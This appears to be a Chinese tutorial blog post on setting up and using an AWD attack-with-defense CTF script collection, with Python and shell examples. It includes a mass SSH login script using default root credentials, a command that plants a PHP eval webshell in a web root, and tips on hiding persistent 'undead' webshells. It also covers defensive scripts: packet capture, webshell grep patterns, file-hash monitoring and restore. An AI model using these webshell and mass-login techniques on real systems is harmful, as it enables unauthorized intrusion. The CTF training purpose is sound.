简介：面向攻防对抗赛制选手与CTF安全竞赛爱好者，这份脚本集合把攻防两端常用工具集中在一起，解决赛场上快速写入网页后门、批量获取Flag以及对抗不死马、清理日志等高频需求。资源共33个文件，以Python脚本和PHP代码为主，辅以命令备忘文本、编译后pyc以及日志分析rar工具包，整体仅3.14MB，便于赛前快速拉取和临场部署。文件按攻击与防御两大目录组织，攻击侧包含批量上传、命令生成、Flag获取等实用脚本，防御侧提供WAF、Linux文件监控、日志地址修改等防护手段，另有隐藏不死马与克制不死马等针对性样本可供研究。目前已有408人学习下载，适合需要系统梳理AWD攻防技巧、希望直接获得可运行工具集的中高级安全选手参考，也可作为赛前训练和插件库使用的轻量级武器库。
1. AWD攻防赛脚本集合：为什么说赛前不备脚本等于白送
AWD攻防赛脚本集合，是CTF圈子里流传度最高、也最容易出现“下了就跑不起来”尴尬情况的工具包。AWD（Attack With Defense）赛制下，每支队伍分到若干台完全相同的靶机，一边要防住别人的攻击，一边要抢在对手前面拿Flag提交给裁判系统。一轮攻击窗口往往只有几十秒，手动SSH连上去敲命令根本来不及。脚本集合就是为了解决这个痛点：批量连接靶机、批量执行命令、自动抓取并提交Flag、文件完整性监控、流量抓包分析。但资料拿到手，不少人卡在第一步：7z解压失败、依赖缺失、并发一高本地机器先死，甚至因为提交机制没读懂被判违规。这篇我按自己的落地习惯，把脚本集合从解压到上赛场验证的完整路径拆开讲，希望能帮你少走弯路。
2. 把脚本集合跑起来：7z解压、环境依赖与首个命令
2.1 用7z解压脚本集合：Windows和Linux两个姿势
AWD攻防赛脚本集合用7z压缩，而不是zip，是因为7z压缩率高，脚本和工具打包后体积更小，传靶场和本地都更快。先说Linux环境，Debian系的发行版通常不会自带7z命令，需要先装p7zip：
# Debian/Ubuntu 安装 p7zip apt-get update apt-get install -y p7zip-full # 解压脚本集合到指定目录，注意 -o 后面没有空格 7z x AWD攻防赛脚本集合.7z -o./awd_scripts逻辑说明：x表示解压并保留压缩包内的目录结构，和只把文件铺平的e参数不一样。如果你用7z e，解压出来的所有文件会堆在当前目录，脚本之间的引用关系会全部失效。-o指定输出目录，常见翻车点就在这儿——很多人写成-o ./awd_scripts，多了一个空格，命令会直接报错。
Windows下没有自带7z工具，但脚本集合的传输链路上，有一环是本地Windows，有一环是Linux靶机。建议在Windows上装7-Zip，右键解压到本地先看一遍脚本，再把整个目录用scp或WinSCP传到自己的Linux跳板机上执行。别试图在Windows上直接跑大部分攻击类脚本，它们的网络路径和工具链是针对Linux设计的，跑一半报错反而浪费时间。
2.2 依赖检查：pip3、paramiko和requests不能缺
解压只是第一步，脚本集合里绝大多数工具是Python3写的，依赖库装不上才是新手翻车重灾区。我的习惯是先把必备依赖装好，再跑任何一个脚本：
# Python3 环境下的依赖安装 pip3 install paramiko requests # 如果 pip3 不在 PATH 里，用 python3 的 -m 参数 python3 -m pip install paramiko requests逻辑说明：paramiko是Python的SSH协议库，AWD脚本集合里所有批量连靶机的脚本都依赖它，没有这个库，脚本会在import paramiko这行直接抛ModuleNotFoundError。requests负责发HTTP请求，主要在Flag提交、读Web目录文件时用。Windows PowerShell下如果报错“pip : 无法将‘pip’项识别为 cmdlet、函数、脚本文件或可运行程序的名称”，别去改PATH了，用python -m pip是更稳的绕行方案，本质是绕过可执行文件搜索路径，直接调用Python解释器的pip模块。
还有一类脚本是shell脚本，用#!/bin/bash写的，不需要装依赖，但需要给执行权限：chmod +x /opt/awd_scripts/*.sh。我一般会把整个脚本集合放在/opt/awd_scripts目录下，路径固定，后续配置文件和日志输出都按绝对路径引用，避免在比赛时临时改路径踩坑。
2.3 先按用途给脚本归类：别一上来就全跑
脚本集合大概率不会只有一个脚本，而是一个包含攻击、防御、提交、工具库的目录。拿到手第一件事不是跑，是看目录结构。常见分类是这样：
attack/：批量SSH连接、批量GetShell、批量传马、不死马生成。defense/：tcpdump抓包、文件md5比对、日志分析、一键恢复。submit/：Flag提交轮询器、Token管理、提交日志。utils/：公共函数库、配置文件、IP列表、密码字典。
先读README或注释，确认每个脚本的输入输出。最蠢的上场方式是把所有脚本一口气跑起来，攻击脚本和防御脚本互相打架，日志刷屏，你根本不知道哪台靶机被拿下、哪个Flag还没交。我的做法是：先跑一轮防御侧的文件监控和流量抓包，让手上有靶机的实时状态；再跑攻击侧脚本，拿Flag；最后只开一个提交轮询器，避免多进程重复提交。
3. 进攻侧脚本拆解：批量SSH、批量执行与Flag自动提交
3.1 批量SSH连接池：并发数不是越大越好
脚本集合里最核心的通常是批量SSH连接工具，它能同时连上百台靶机。很多新手看到“批量”就以为并发拉满最快，实际上分到同一组的所有队伍都是同一批靶机IP段，你并发太高，本地机器先罢工不说，裁判系统的网络也会对你限流。下面是一个基于paramiko的极简连接池实例，和脚本集合里的实现类似：
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import paramiko import time import threading # 目标机器列表，实际使用时可从 hosts.txt 读取 hosts = [ {"host": "10.10.0.2", "port": 22, "user": "root", "pwd": "password"}, {"host": "10.10.0.3", "port": "22", "user": "root", "pwd": "password"}, ] def ssh_exec(host): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: ssh.connect( host["host"], port=int(host["port"]), username=host["user"], password=host["pwd"], timeout=8 ) stdin, stdout, stderr = ssh.exec_command("cat /flag", timeout=10) result = stdout.read().decode("utf-8", errors="ignore").strip() ssh.close() print(f"{host['host']}: {result}") except Exception as e: print(f"{host['host']}: 连接失败 -> {e}") # 控制并发数，比赛环境建议不超过 20 threads = [] for h in hosts: t = threading.Thread(target=ssh_exec, args=(h,)) t.start() threads.append(t) time.sleep(0.1) # 每启动一个线程间隔 100ms，避免瞬时大量连接 for t in threads: t.join()逻辑说明：AutoAddPolicy()自动接受目标主机的SSH指纹，省去首次连接交互确认的麻烦。exec_command("cat /flag", timeout=10)执行命令并限定超时，避免靶机响应慢导致线程卡死。errrs="ignore"忽略非法UTF-8字节，因为有些靶机返回的中文或二进制内容会让strict模式直接抛异常。
参数说明：timeout=8是TCP连接超时，连不上的机器8秒后自动跳过，不要设成30秒，竞速场景下等不起。time.sleep(0.1)是最容易被忽略的保命参数，它把连接请求均匀打散，防止你的机器在同一瞬间发出几十个SYN包被打爆。并发控制在20以内是通用安全值，脚本集合里如果预留了线程数配置项，优先调它。
3.2 批量执行命令：单行命令拼接的坑
批量拿到权限后，要批量改密码、传后门、写不死马。核心逻辑还是上面的连接池，差别只在exec_command里的命令内容。但命令拼接是个容易出岔子的环节——你写的命令会经过paramiko传给靶机的shell，环境变量、引号、通配符都可能出问题。看这个例子：
# 在每台靶机上执行一段复合命令，用分号连接 cmd = "cd /var/www/html && echo '<?php @eval($_POST[\"x\"]);?>' > shell.php; chmod 755 shell.php; ls -la shell.php"命令传到靶机后，cd /var/www/html &&确保后续在Web目录执行；echo '<?php @eval($_POST[\"x\"]);?>'写入一句话后门，注意外层单引号会保留双引号，让PHP代码里的字符串引用正确；chmod 755设置文件权限，保证Web服务能读到；最后的ls -la是验证，顺便确认文件落盘了。脚本里执行完要回显输出，能立刻看到成功与否。
踩过的教训：不要在命令里用$开头的变量却不想让它被本地shell展开，要么在Python里转义，要么整个命令用单引号包住。还有，绝对路径优先于相对路径，因为paramiko的默认Shell是bash，但可能通过.bashrc切到了别的目录，尤其当靶机初始目录不是root的家目录时。cd /var/www/html写死绝对路径，比cd html可靠得多。
3.3 Flag自动提交轮询器：间隔、去重与Token
拿Flag只是第一步，交不上去等于白拿。脚本集合里的submit_flag.py通常是一个常驻进程，循环读取靶机上的Flag文件内容，POST到裁判系统接口。样例逻辑如下：
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import requests import time SEEN_FLAGS = set() SUBMIT_URL = "http://10.10.0.1:8080/submit" TOKEN = "your_team_token" # 裁判系统下发的队伍唯一标识 while True: try: # 从本队靶机读Flag，这里示例用HTTP请求 r = requests.get("http://127.0.0.1/flag.txt", timeout=3) flag = r.text.strip() if flag and flag not in SEEN_FLAGS: resp = requests.post( SUBMIT_URL, json={"flag": flag, "token": TOKEN}, timeout=5 ) if resp.status_code == 200: SEEN_FLAGS.add(flag) print(f"[{time.strftime('%H:%M:%S')}] 提交成功: {flag}") else: print(f"[{time.strftime('%H:%M:%S')}] 提交返回: {resp.status_code}") except Exception as e: # 靶机短暂不可达是常态，跳过继续 print(f"轮询异常: {e}") time.sleep(3) # 轮询间隔，单位秒逻辑说明：SEEN_FLAGS用set做内存去重，同一个Flag只提交一次，避免把裁判系统接口刷爆。requests.post的json参数自动序列化，提交格式和接口文档对齐。time.sleep(3)控制轮询频率，实战里2到5秒是合理区间，低于1秒很容易触发裁判系统的频率限制，导致IP被临时封禁。
参数说明：TOKEN务必和比赛规则里给出的字段名一致，有的接口要求字段叫team_token，有的叫token，还有的要放在Header里。提交失败时不要立刻重试，先看返回体里的原因，常见是“重复Flag”或“无效Token”。脚本集合里如果带了日志文件输出，尽量保留，赛后复盘全靠它。
4. 防御侧脚本拆解：流量审计、文件监控与一键恢复
4.1 挂上tcpdump抓流量：看清别人怎么打进你
AWD里“挨打也是情报”，只要别人的攻击打到你靶机，流量就值得抓。脚本集合里的流量审计脚本往往就是个tcpdump包装，但参数很讲究。我习惯在比赛开始后第一时间挂上后台抓包：
# 后台抓包，抓满10000个包自动停止，避免磁盘写爆 nohup tcpdump -i eth0 -w /tmp/awd_capture.pcap -c 10000 >/dev/null 2>&1 & # 赛后或赛中用 pcap 分析 HTTP 攻击载荷 tcpdump -r /tmp/awd_capture.pcap -A -s 0 'tcp port 80'逻辑说明：-i eth0指定网卡，AWD靶机通常主网卡就是eth0；-w写入pcap文件；-c 10000是抓包数量上限，防止长时间运行把磁盘写满。-A把报文内容以ASCII形式打印，-s 0表示抓取完整包而不只抓头部，这样能看到POST的完整payload。
分析时把tcp port 80替换成你实际观测到的端口，然后配合grep找攻击特征：
# 直接查看是否有上传webshell的流量 tcpdump -r /tmp/awd_capture.pcap -A -s 0 'tcp port 80' 2>/dev/null | grep -E "eval|base64|assert|shell_exec" | head -50抓包脚本是防御的“眼睛”，但有一个坑——抓包文件会记录所有攻击者的IP，包括你队友的。如果你用这些IP做自动化封禁，先把本队IP段加进白名单，否则一个“误伤”把自己人挡在靶机外面。
4.2 文件完整性监控：find+md5sum定时比对
AWD靶机被挂马或被删文件，恢复的前提是知道哪里变了。脚本集合里的文件监控脚本，原理就是周期性计算Web目录下所有文件的哈希，和赛前基线对比。基线必须在比赛开始前、靶机还干净的时候生成：
#!/bin/bash # /opt/awd_scripts/defense/check_file.sh # 生成当前文件的 md5 基线 find /var/www/html -type f -exec md5sum {} \; > /tmp/current_files.txt # 如果没有基线文件，说明是第一次跑，存为基线 if [ ! -f /tmp/baseline_files.txt ]; then cp /tmp/current_files.txt /tmp/baseline_files.txt echo "[$(date '+%H:%M:%S')] 已生成基线文件" exit 0 fi # 与基线比对，输出差异到日志 diff /tmp/baseline_files.txt /tmp/current_files.txt > /tmp/file_diff.log if [ -s /tmp/file_diff.log ]; then echo "[$(date '+%H:%M:%S')] 检测到文件变化:" cat /tmp/file_diff.log fi逻辑说明：find配合-exec md5sum能一次性算出所有文件的哈希；第二次运行时和基线diff，任何新增、删除、修改都会体现在diff结果里。为什么用md5sum而不是stat的mtime？因为攻击者可以通过touch -d伪造文件修改时间，但md5想伪造成本高得多。
要把监控脚本周期化执行，在crontab -e里加一行：
*/5 * * * * /bin/bash /opt/awd_scripts/defense/check_file.sh >> /var/log/awd_check.log 2>&1每5分钟跑一次，日志追加到独立文件。比赛初期我建议每2分钟一次，对手脚本刚写入文件时最多2分钟就能发现，早发现早清理。
4.3 一键恢复脚本：备份、清马、拉黑IP
发现文件被改或被删，恢复要快。脚本集合里的restore.sh一般干三件事：从备份拷回文件、杀后门进程、封攻击IP。一份通用脚本如下：
#!/bin/bash # /opt/awd_scripts/defense/restore.sh BACKUP_DIR=/backup WEBROOT=/var/www/html ATTACK_IP=$1 # 1. 恢复被删除或被替换的关键文件 if [ -f "$BACKUP_DIR/index.php.bak" ]; then cp "$BACKUP_DIR/index.php.bak" "$WEBROOT/index.php" echo "[$(date '+%H:%M:%S')] index.php 已恢复" fi # 2. 清理常见后门进程（不死马） pkill -f "shell.php" pkill -f "eval.*assert" echo "[$(date '+%H:%M:%S')] 后门进程已清理" # 3. 对攻击IP做封禁（可选，慎用） if [ -n "$ATTACK_IP" ]; then iptables -A INPUT -s "$ATTACK_IP" -j DROP echo "[$(date '+%H:%M:%S')] 已封锁 $ATTACK_IP" fi逻辑说明：cp恢复文件前先确认备份存在；pkill -f按进程名模糊匹配，优点是快，缺点是有可能误杀，比如你自己的合法管理脚本进程名里包含了shell。所以恢复脚本里的pkill -f要自己改造成对已知后门进程名的精确匹配，比如只杀php /tmp/.x.php这种特征进程。
iptables -A INPUT -s封禁IP有一个大坑：封的是源IP，但如果攻击者是跳板机或和你在同一内网段，可能封到裁判系统的模拟攻击流量，个别赛制会把这类操作判定为违规。建议封禁前用4.1的抓包结果确认这个IP确实在打你，而不是队友在测试。备份文件必须在赛前完成——如果你连index.php的干净备份都没有，恢复脚本就是一张废纸。
5. AWD脚本避坑指南：从解压失败到被判作弊的5个坑
5.1 7z解压报错：Cannot open as archive
现象：Linux下执行7z x AWD攻防赛脚本集合.7z，命令直接返回Cannot open as archive。
原因：大概率是下载的压缩包不完整，或者传输工具把文件名改成了.zip但内容还是7z，甚至文件头被截断。7z文件头的魔数是377abcaf271c，解压工具靠它识别格式，文件一旦损坏就卡住。
解决：先验证文件完整性：7z t AWD攻防赛脚本集合.7z，测试压缩包是否损坏。如果文件本身有问题，重新下载并对一下发布方给的SHA256，别在损坏的文件上浪费时间。还有一个老经验：脚本集合在QQ群、网盘里传了很多层，接收后看大小是否和原始压缩包一致，很多时候就是传到一半被秒传机制坑了。
5.2 并发数拉满，先把自己的跳板机打挂
现象：脚本一开始跑，本地CPU直转100%，内存飙升，跳板机的SSH都连不上，靶机侧也频繁报SSH握手超时。
原因：攻击脚本里的多线程数量超过50甚至上百，短时间建立大量TCP连接，本机进程数爆了，源IP也被裁判网络或者靶机的fail2ban限流。
解决：把thread_num降到10到15，每发起一个线程后time.sleep(0.1)限速。这是压力测试还是竞速的问题——AWD不是比谁瞬间SYN多，是比谁第一个把有效Flag交上去。连接稳定比连接快重要。
5.3 paramiko报错 No authentication methods available
现象：ssh.connect()抛异常，提示No authentication methods available。
原因：有四种常见情况。第一，目标靶机的SSH端口不是22，脚本里只写了默认端口；第二，目标机改过密码，脚本用的弱口令字典不匹配；第三，paramiko默认会尝试本机私钥认证，本机的~/.ssh/id_rsa密钥干扰了密码认证流程；第四，靶机关闭了密码认证只允许密钥登录。
解决：先确认端口：nmap -p 1-65535 10.10.0.2，找到SSH服务实际端口再填进脚本。连接参数里加上allow_agent=False, look_for_keys=False，让paramiko别去碰本机私钥和SSH Agent。如果是密码被改，用弱口令字典批量重试一次，AWD赛制下初始密码是统一的，对手改密码防你，你也要批量改回去。
5.4 不死马写进去，几分钟就被对手清掉
现象：shell.php刚写进/var/www/html目录，不到三分钟再访问就404，文件被删，后门失效。
原因：对方也在实时监控Web目录，检测到新增文件就自动删除，或者直接用了和你一样的文件监控脚本。
解决：改方案。不死马不止一种写法，脚本集合里常见的做法是：在内存里循环创建临时文件、文件名随机化、把<?php @eval(...)?>藏在图片或日志文件里。但别走极端——不死马写得太隐蔽，比赛结束后你忘记清理，如果靶场是共用的，事后算账很容易被判违规。我的习惯是：保留1到2个后门足够，更多的时间投入到实时提交Flag和防御上。
5.5 自动提交Flag被判“作弊”或“超时”
现象：submit_flag.py一直跑，提交返回duplicate，或者裁判系统提示提交频率过高，甚至后台判定队伍违规。
原因：AWD赛制里裁判系统通常有明确限制。有些接口禁止同一Flag重复提交；有些限制单IP每分钟提交次数不能超过X次；还有的Token字段名和接口文档不一致，传错了直接报invalid token。比赛规则文档里写着的东西，不看就踩。
解决：先读比赛规则，确认提交接口的URL、Token字段名、间隔限制。脚本里把轮询间隔调到5秒以上，提交前用set去重。最关键的一点：把每次提交的请求和响应写进日志文件，万一被裁判误判为作弊，日志是你自证清白的唯一凭据。
6. 上赛场前验证脚本的3个技巧：靶场、dry-run与时间戳复盘
6.1 用Docker在本地搭一套AWD靶场
脚本拿到手先别直接上真实赛场，在本地用Docker起一个带漏洞的Web容器，验证脚本逻辑通不通。常见做法是拉取一个有漏洞的镜像，映射22和80端口：
docker run -d --name awd-demo -p 10022:22 -p 10080:80 vulhub/thinkphp:5.0.23然后把脚本里的hosts列表改成127.0.0.1:10022，跑一遍批量SSH和Flag读取。本地靶机没有裁判系统，可以写个本地GET接口模拟提交，验证整个链路。这一步能拦截至少一半尴尬问题——比如某个脚本用了绝对路径/tmp/flag，本地容器里根本没这个文件，你会立刻发现并改成可配置项。
6.2 给脚本加dry-run模式：不发包只打印命令
脚本集合里的脚本不一定有演练模式。没有就自己加，方法是在核心函数入口判断环境变量：
export DRY_RUN=1 # 开启后脚本只打印要执行的命令，不实际连接靶机Python脚本里对应的处理逻辑是：判断DRY_RUN存在且为真时，用print()替代ssh.exec_command()。这个技巧能帮你只花一分钟检查命令拼接是否合理，尤其适合那些写错引号就会在靶机上执行出奇怪命令的复合命令。
6.3 记录时间戳和Flag哈希，赛后复盘
比赛结束不是终点，复盘才是经验积累的开始。我的习惯是：赛前给脚本统一加上--log参数，把每轮连接结果、提交的Flag内容、提交时间戳全部写进CSV文件。赛后用时间戳重放流程，看哪个时间段的Flag没有被及时提交，判断是脚本轮询慢了还是某个靶机掉了。提交的Flag用SHA256做哈希去重，能准确统计每台靶机贡献了多少分。所有日志和我自己的操作习惯绑定：每次比赛前先备份一份脚本集合到本地无关目录——这个习惯救过我，有一回我在赛场上把restore.sh改坏了，直接把这个脚本从备份里拷回来，五分钟完成恢复。希望帮到你。
本文还有配套的精品资源，点击获取
